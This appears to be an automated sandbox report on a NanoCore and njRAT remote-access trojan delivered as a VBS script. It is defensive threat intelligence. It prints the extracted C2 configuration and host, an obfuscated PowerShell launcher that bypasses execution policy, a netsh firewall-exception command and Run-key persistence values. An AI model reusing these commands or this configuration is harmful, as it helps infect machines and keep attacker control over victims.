nanocore | 8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72

General

Target

8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72.vbs
Size

2KB
MD5

76d64bdec97716fc5db19bf4d9fd3255
SHA1

35f62e6cc17c8bc982db07c556216d98fd600c02
SHA256

8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72
SHA512

d38a1e31a96267bb7706b4e072c6c383bb26eb2e065b0b6e5b6c178ac87cc0115d2a2f88ec5ab71a93364197e1eefff0e3c3cb87a50b636607e2026b962c90f9

Score

10^/10

nanocore njrat hacked evasion keylogger persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

8 4448 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

GoogleCrashHandler.exe

pid process

3524 GoogleCrashHandler.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
8	4448	powershell.exe

pid	process
3524	GoogleCrashHandler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4448 set thread context of 2904	4448	powershell.exe	jsc.exe
PID 4448 set thread context of 820	4448	powershell.exe	jsc.exe
PID 4448 set thread context of 1236	4448	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 22 IoCs

Processes:

powershell.exepowershell.exejsc.exe

pid	process
2820	powershell.exe
2820	powershell.exe
2820	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
4448	powershell.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe
2904	jsc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

2904 jsc.exe

pid	process
2904	jsc.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	2904	jsc.exe
Token: SeDebugPrivilege	1236	jsc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

jsc.exe

pid process

820 jsc.exe

pid	process
820	jsc.exe

Suspicious use of WriteProcessMemory 40 IoCs

Processes:

WScript.exepowershell.exepowershell.exejsc.exejsc.exe

description	pid	process	target process
PID 3600 wrote to memory of 2820	3600	WScript.exe	powershell.exe
PID 3600 wrote to memory of 2820	3600	WScript.exe	powershell.exe
PID 2820 wrote to memory of 4448	2820	powershell.exe	powershell.exe
PID 2820 wrote to memory of 4448	2820	powershell.exe	powershell.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 2904	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 656	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 656	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 656	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 820	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1160	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1160	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1160	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 4448 wrote to memory of 1236	4448	powershell.exe	jsc.exe
PID 820 wrote to memory of 3524	820	jsc.exe	GoogleCrashHandler.exe
PID 820 wrote to memory of 3524	820	jsc.exe	GoogleCrashHandler.exe
PID 820 wrote to memory of 3524	820	jsc.exe	GoogleCrashHandler.exe
PID 1236 wrote to memory of 5008	1236	jsc.exe	netsh.exe
PID 1236 wrote to memory of 5008	1236	jsc.exe	netsh.exe
PID 1236 wrote to memory of 5008	1236	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8d8c15469072ede8e80eb85c7f3ef44ba53778831c28dab5a6562a0672b1bc72.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4448

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2904

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:656

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:820

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"
5⤵
- Executes dropped EXE
PID:3524

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:1160

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
5⤵
PID:5008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
3e0d474962b019b39c8ace47bf176523

SHA1
f38c65d41f3913b976ee611425756524c036164d

SHA256
57d1dce477e2bd4e12f1331e711f52b2e7f4f916ca505ce2fcd395616883f8bd

SHA512
5c3cf8404baac17b927e34c5379e1b992b07f286f4710eee684a3ba0c5d8597b9f1fc8d9de5c13b17730a044070bd1eb4d1e8a5d3cc21d5958ddd431e341f688

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
b1da375f7fc47b6e7f441a44b1925371

SHA1
336132bf0096ad8fa877cf25978e9bb2b911554e

SHA256
51b7e07f22110272589c03f523256f454274605cc41ed5847448b9c0bf62e4bd

SHA512
d9861c341b1ae91647d51053b93291ca5862de418a5a42ac56c765e19abb7cf9f5c29bc6e72c1789c3921481f13a0498c1d329dbc68a39c8d8db5b59652f7248

Download Submit
memory/820-178-0x00000000004123BE-mapping.dmp

Download
memory/820-177-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/820-199-0x0000000005040000-0x000000000553E000-memory.dmp

Filesize
5.0MB

Download
memory/1236-225-0x00000000050B0000-0x000000000514C000-memory.dmp

Filesize
624KB

Download
memory/1236-189-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/1236-190-0x000000000040BBCE-mapping.dmp

Download
memory/2820-127-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-121-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-118-0x0000000000000000-mapping.dmp

Download
memory/2820-129-0x0000024051110000-0x0000024051111000-memory.dmp

Filesize
4KB

Download
memory/2820-119-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-128-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-120-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-130-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-140-0x00000240512E0000-0x00000240512E2000-memory.dmp

Filesize
8KB

Download
memory/2820-142-0x00000240512E3000-0x00000240512E5000-memory.dmp

Filesize
8KB

Download
memory/2820-205-0x00000240512E6000-0x00000240512E8000-memory.dmp

Filesize
8KB

Download
memory/2820-126-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-125-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-124-0x0000024038B70000-0x0000024038B71000-memory.dmp

Filesize
4KB

Download
memory/2820-122-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2820-123-0x0000024036EE0000-0x0000024036EE2000-memory.dmp

Filesize
8KB

Download
memory/2904-195-0x0000000005680000-0x0000000005B7E000-memory.dmp

Filesize
5.0MB

Download
memory/2904-191-0x0000000005860000-0x0000000005879000-memory.dmp

Filesize
100KB

Download
memory/2904-198-0x0000000005680000-0x0000000005B7E000-memory.dmp

Filesize
5.0MB

Download
memory/2904-167-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2904-168-0x000000000041E792-mapping.dmp

Download
memory/2904-171-0x0000000005B80000-0x0000000005B81000-memory.dmp

Filesize
4KB

Download
memory/2904-172-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/2904-173-0x0000000005680000-0x0000000005681000-memory.dmp

Filesize
4KB

Download
memory/2904-185-0x0000000005660000-0x0000000005665000-memory.dmp

Filesize
20KB

Download
memory/2904-184-0x0000000005540000-0x0000000005541000-memory.dmp

Filesize
4KB

Download
memory/3524-206-0x0000000000000000-mapping.dmp

Download
memory/3524-210-0x000000007EF40000-0x000000007EF41000-memory.dmp

Filesize
4KB

Download
memory/4448-134-0x0000000000000000-mapping.dmp

Download
memory/4448-145-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-155-0x000001B633156000-0x000001B633158000-memory.dmp

Filesize
8KB

Download
memory/4448-151-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-148-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-147-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-146-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-166-0x000001B633140000-0x000001B633144000-memory.dmp

Filesize
16KB

Download
memory/4448-144-0x000001B633153000-0x000001B633155000-memory.dmp

Filesize
8KB

Download
memory/4448-143-0x000001B633150000-0x000001B633152000-memory.dmp

Filesize
8KB

Download
memory/4448-139-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-138-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-137-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-136-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/4448-135-0x000001B619370000-0x000001B619372000-memory.dmp

Filesize
8KB

Download
memory/5008-224-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads